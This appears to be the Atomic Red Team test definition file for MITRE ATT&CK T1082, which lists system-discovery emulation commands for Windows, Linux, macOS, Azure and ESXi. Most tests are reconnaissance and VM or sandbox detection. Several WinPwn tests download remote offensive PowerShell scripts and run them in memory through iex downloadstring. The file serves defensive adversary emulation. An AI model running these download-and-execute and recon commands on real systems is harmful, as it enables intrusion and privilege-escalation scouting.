2b8c6b4ce4
Co-authored-by: Hare Sudhan <code@0x6c.dev>
609 lines
26 KiB
YAML
609 lines
26 KiB
YAML
attack_technique: T1082
|
|
display_name: System Information Discovery
|
|
atomic_tests:
|
|
- name: System Information Discovery
|
|
auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667
|
|
description: |
|
|
Identify System Info. Upon execution, system info and time info will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
systeminfo
|
|
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
|
|
name: command_prompt
|
|
- name: System Information Discovery
|
|
auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6
|
|
description: |
|
|
Identify System Info
|
|
supported_platforms:
|
|
- macos
|
|
executor:
|
|
command: |
|
|
system_profiler
|
|
ls -al /Applications
|
|
name: sh
|
|
- name: List OS Information
|
|
auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c
|
|
description: |
|
|
Identify System Info
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
input_arguments:
|
|
output_file:
|
|
description: Output file used to store the results.
|
|
type: path
|
|
default: /tmp/T1082.txt
|
|
executor:
|
|
command: |
|
|
uname -a >> #{output_file}
|
|
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
|
|
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi
|
|
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
|
|
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
|
|
uptime >> #{output_file}
|
|
cat #{output_file} 2>/dev/null
|
|
cleanup_command: |
|
|
rm #{output_file} 2>/dev/null
|
|
name: sh
|
|
- name: Linux VM Check via Hardware
|
|
auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec
|
|
description: |
|
|
Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.
|
|
supported_platforms:
|
|
- linux
|
|
executor:
|
|
elevation_required: true
|
|
command: |
|
|
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
|
|
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
|
|
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
|
|
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
|
|
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
|
|
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
|
|
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
|
|
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi
|
|
name: bash
|
|
- name: Linux VM Check via Kernel Modules
|
|
auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e
|
|
description: |
|
|
Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.
|
|
supported_platforms:
|
|
- linux
|
|
executor:
|
|
command: |
|
|
sudo lsmod | grep -i "vboxsf\|vboxguest"
|
|
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
|
|
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
|
|
sudo lsmod | grep -i "virtio_pci\|virtio_net"
|
|
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
|
|
name: bash
|
|
elevation_required: true
|
|
- name: FreeBSD VM Check via Kernel Modules
|
|
auto_generated_guid: eefe6a49-d88b-41d8-8fc2-b46822da90d3
|
|
description: |
|
|
Identify virtual machine host kernel modules.
|
|
supported_platforms:
|
|
- linux
|
|
executor:
|
|
command: |
|
|
kldstat | grep -i "vmm"
|
|
kldstat | grep -i "vbox"
|
|
name: sh
|
|
- name: Hostname Discovery (Windows)
|
|
auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f
|
|
description: |
|
|
Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
hostname
|
|
name: command_prompt
|
|
- name: Hostname Discovery
|
|
auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133
|
|
description: |
|
|
Identify system hostname for FreeBSD, Linux and macOS systems.
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
executor:
|
|
command: |
|
|
hostname
|
|
name: sh
|
|
- name: Windows MachineGUID Discovery
|
|
auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8
|
|
description: |
|
|
Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
|
|
name: command_prompt
|
|
- name: Griffon Recon
|
|
auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370
|
|
description: |-
|
|
This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre
|
|
in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).
|
|
For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
vbscript:
|
|
description: Path to sample script
|
|
type: string
|
|
default: PathToAtomicsFolder\T1082\src\griffon_recon.vbs
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
Sample script file must exist on disk at specified location (#{vbscript})
|
|
prereq_command: |
|
|
if (Test-Path "#{vbscript}") {exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
|
|
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"
|
|
executor:
|
|
command: |
|
|
cscript "#{vbscript}"
|
|
name: powershell
|
|
elevation_required: false
|
|
- name: Environment variables discovery on windows
|
|
auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3
|
|
description: |
|
|
Identify all environment variables. Upon execution, environments variables and your path info will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
set
|
|
name: command_prompt
|
|
- name: Environment variables discovery on freebsd, macos and linux
|
|
auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720
|
|
description: |
|
|
Identify all environment variables. Upon execution, environments variables and your path info will be displayed.
|
|
supported_platforms:
|
|
- linux
|
|
- macos
|
|
executor:
|
|
command: |
|
|
env
|
|
name: sh
|
|
- name: Show System Integrity Protection status (MacOS)
|
|
auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96
|
|
description: |
|
|
Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.
|
|
supported_platforms:
|
|
- macos
|
|
executor:
|
|
command: |
|
|
csrutil status
|
|
name: sh
|
|
- name: WinPwn - winPEAS
|
|
auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1
|
|
description: Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
winPEAS -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - itm4nprivesc
|
|
auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce
|
|
description: Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
itm4nprivesc -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - Powersploits privesc checks
|
|
auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7
|
|
description: Powersploits privesc checks using oldchecks function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
oldchecks -noninteractive -consoleoutput
|
|
cleanup_command: |-
|
|
rm -force -recurse .\DomainRecon -ErrorAction Ignore
|
|
rm -force -recurse .\Exploitation -ErrorAction Ignore
|
|
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
|
|
rm -force -recurse .\LocalRecon -ErrorAction Ignore
|
|
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
|
|
name: powershell
|
|
- name: WinPwn - General privesc checks
|
|
auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed
|
|
description: General privesc checks using the otherchecks function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
otherchecks -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - GeneralRecon
|
|
auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8
|
|
description: Collect general computer informations via GeneralRecon function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
Generalrecon -consoleoutput -noninteractive
|
|
name: powershell
|
|
- name: WinPwn - Morerecon
|
|
auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a
|
|
description: Gathers local system information using the Morerecon function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
Morerecon -noninteractive -consoleoutput
|
|
name: powershell
|
|
- name: WinPwn - RBCD-Check
|
|
auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b
|
|
description: Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
RBCD-Check -consoleoutput -noninteractive
|
|
name: powershell
|
|
|
|
- name: WinPwn - PowerSharpPack - Watson searching for missing windows patches
|
|
auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107
|
|
description: PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
|
|
Invoke-watson
|
|
name: powershell
|
|
- name: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
|
|
auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc
|
|
description: PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
|
|
Invoke-SharpUp -command "audit"
|
|
name: powershell
|
|
|
|
- name: WinPwn - PowerSharpPack - Seatbelt
|
|
auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95
|
|
description: |-
|
|
PowerSharpPack - Seatbelt technique via function of WinPwn.
|
|
|
|
[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
|
|
Invoke-Seatbelt -Command "-group=all"
|
|
name: powershell
|
|
- name: Azure Security Scan with SkyArk
|
|
auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594
|
|
description: |
|
|
Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users.
|
|
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users.
|
|
See https://github.com/cyberark/SkyArk
|
|
supported_platforms:
|
|
- azure-ad
|
|
input_arguments:
|
|
username:
|
|
description: Azure AD username
|
|
type: string
|
|
default:
|
|
password:
|
|
description: Azure AD password
|
|
type: string
|
|
default: T1082Az
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads.
|
|
prereq_command: |
|
|
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"
|
|
- description: |
|
|
The AzureAD module must be installed.
|
|
prereq_command: |
|
|
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
|
get_prereq_command: |
|
|
Install-Module -Name AzureAD -Force
|
|
- description: |
|
|
The Az module must be installed.
|
|
prereq_command: |
|
|
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
|
get_prereq_command: |
|
|
Install-Module -Name Az -Force
|
|
executor:
|
|
command: |
|
|
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force
|
|
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
|
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
|
|
Connect-AzAccount -Credential $Credential
|
|
Connect-AzureAD -Credential $Credential
|
|
Scan-AzureAdmins -UseCurrentCred
|
|
cleanup_command: |
|
|
$resultstime = Get-Date -Format "yyyyMMdd"
|
|
$resultsfolder = ("Results-" + $resultstime)
|
|
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue
|
|
name: powershell
|
|
elevation_required: true
|
|
- name: Linux List Kernel Modules
|
|
auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7
|
|
description: |
|
|
Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.
|
|
supported_platforms:
|
|
- linux
|
|
executor:
|
|
command: |
|
|
lsmod
|
|
kmod list
|
|
grep vmw /proc/modules
|
|
name: sh
|
|
- name: FreeBSD List Kernel Modules
|
|
auto_generated_guid: 4947897f-643a-4b75-b3f5-bed6885749f6
|
|
description: |
|
|
Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.
|
|
supported_platforms:
|
|
- linux
|
|
executor:
|
|
command: |
|
|
kldstat
|
|
kldstat | grep vmm
|
|
name: sh
|
|
|
|
- name: System Information Discovery with WMIC
|
|
auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c
|
|
description: |
|
|
Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.
|
|
https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
|
|
Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:
|
|
https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar
|
|
https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
wmic cpu get name
|
|
wmic MEMPHYSICAL get MaxCapacity
|
|
wmic baseboard get product
|
|
wmic baseboard get version
|
|
wmic bios get SMBIOSBIOSVersion
|
|
wmic path win32_VideoController get name
|
|
wmic path win32_VideoController get DriverVersion
|
|
wmic path win32_VideoController get VideoModeDescription
|
|
wmic OS get Caption,OSArchitecture,Version
|
|
wmic DISKDRIVE get Caption
|
|
Get-WmiObject win32_bios
|
|
name: command_prompt
|
|
|
|
- name: System Information Discovery
|
|
auto_generated_guid: 4060ee98-01ae-4c8e-8aad-af8300519cc7
|
|
description: |
|
|
The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs
|
|
elevation_required: true
|
|
name: command_prompt
|
|
- name: Check computer location
|
|
auto_generated_guid: 96be6002-9200-47db-94cb-c3e27de1cb36
|
|
description: |
|
|
Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.
|
|
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"
|
|
name: command_prompt
|
|
- name: BIOS Information Discovery through Registry
|
|
auto_generated_guid: f2f91612-d904-49d7-87c2-6c165d23bead
|
|
description: |
|
|
Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed.
|
|
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
|
|
- https://evasions.checkpoint.com/techniques/registry.html
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
|
|
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion
|
|
name: command_prompt
|
|
- name: ESXi - VM Discovery using ESXCLI
|
|
auto_generated_guid: 2040405c-eea6-4c1c-aef3-c2acc430fac9
|
|
description: |
|
|
An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine.
|
|
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
vm_host:
|
|
description: Specify the host name or IP of the ESXi Server
|
|
type: string
|
|
default: atomic.local
|
|
vm_user:
|
|
description: Specify the privilege user account on ESXi Server
|
|
type: string
|
|
default: root
|
|
vm_pass:
|
|
description: Specify the privilege user password on ESXi Server
|
|
type: string
|
|
default: pass
|
|
plink_file:
|
|
description: Path to Plink
|
|
type: path
|
|
default: 'PathToAtomicsFolder\..\ExternalPayloads\plink.exe'
|
|
cli_script:
|
|
description: Path to file with discovery commands
|
|
type: path
|
|
default: PathToAtomicsFolder\T1082\src\esx_vmdiscovery.txt
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
Check if plink is available.
|
|
prereq_command: |
|
|
if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
|
|
executor:
|
|
command: |
|
|
echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
|
|
name: command_prompt
|
|
elevation_required: false
|
|
- name: ESXi - Darkside system information discovery
|
|
auto_generated_guid: f89812e5-67d1-4f49-86fa-cbc6609ea86a
|
|
description: |
|
|
Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host.
|
|
[Reference](https://www.trendmicro.com/en_ph/research/21/e/darkside-linux-vms-targeted.html)
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
vm_host:
|
|
description: Specify the host name or IP of the ESXi Server
|
|
type: string
|
|
default: atomic.local
|
|
vm_user:
|
|
description: Specify the privilege user account on ESXi Server
|
|
type: string
|
|
default: root
|
|
vm_pass:
|
|
description: Specify the privilege user password on ESXi Server
|
|
type: string
|
|
default: pass
|
|
plink_file:
|
|
description: Path to Plink
|
|
type: path
|
|
default: 'PathToAtomicsFolder\..\ExternalPayloads\plink.exe'
|
|
cli_script:
|
|
description: Path to file containing darkside ransomware discovery commands
|
|
type: path
|
|
default: PathToAtomicsFolder\T1082\src\esx_darkside_discovery.txt
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
Check if plink is available.
|
|
prereq_command: |
|
|
if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
|
|
executor:
|
|
command: |
|
|
echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
|
|
name: command_prompt
|
|
elevation_required: false
|
|
- name: sysctl to gather macOS hardware info
|
|
auto_generated_guid: c8d40da9-31bd-47da-a497-11ea55d1ef6c
|
|
description: Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.
|
|
supported_platforms:
|
|
- macos
|
|
executor:
|
|
command: sysctl -n hw.model
|
|
name: sh
|
|
elevation_required: false
|
|
- name: 'operating system discovery '
|
|
auto_generated_guid: 70e13ef4-5a74-47e4-9d16-760b41b0e2db
|
|
description: |-
|
|
operating system discovery using get-ciminstance
|
|
https://petri.com/getting-operating-system-information-powershell/
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null
|
|
name: powershell
|
|
elevation_required: false
|
|
- name: Check OS version via "ver" command
|
|
auto_generated_guid: f6ecb109-df24-4303-8d85-1987dbae6160
|
|
description: Ver command shows information about os version.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
name: command_prompt
|
|
command: ver
|
|
- name: Display volume shadow copies with "vssadmin"
|
|
auto_generated_guid: 7161b085-816a-491f-bab4-d68e974b7995
|
|
description: The command shows all available volume shadow copies, along with their creation time and location.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
name: command_prompt
|
|
elevation_required: true
|
|
command: vssadmin.exe list shadows
|
|
- name: Identify System Locale and Regional Settings with PowerShell
|
|
auto_generated_guid: ce479c1a-e8fa-42b2-812a-96b0f2f4d28a
|
|
description: |
|
|
This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling
|
|
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
name: command_prompt
|
|
command: |
|
|
powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"
|
|
cleanup_command: |
|
|
cmd.exe /c del "%TMP%\a.txt"
|
|
|
|
- name: Enumerate Available Drives via gdr
|
|
auto_generated_guid: c187c9bc-4511-40b3-aa10-487b2c70b6a5
|
|
description: |
|
|
This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
name: command_prompt
|
|
command: |
|
|
powershell.exe -c "gdr -PSProvider 'FileSystem'"
|
|
- name: Discover OS Product Name via Registry
|
|
auto_generated_guid: be3b5fe3-a575-4fb8-83f6-ad4a68dd5ce7
|
|
description: |
|
|
Identify the Operating System Product Name via registry with the reg.exe command.
|
|
Upon execution, the OS Product Name will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
|
|
name: command_prompt
|
|
elevation_required: false
|
|
- name: Discover OS Build Number via Registry
|
|
auto_generated_guid: acfcd709-0013-4f1e-b9ee-bc1e7bafaaec
|
|
description: |
|
|
Identify the Operating System Build Number via registry with the reg.exe command.
|
|
Upon execution, the OS Build Number will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber
|
|
name: command_prompt
|
|
elevation_required: false
|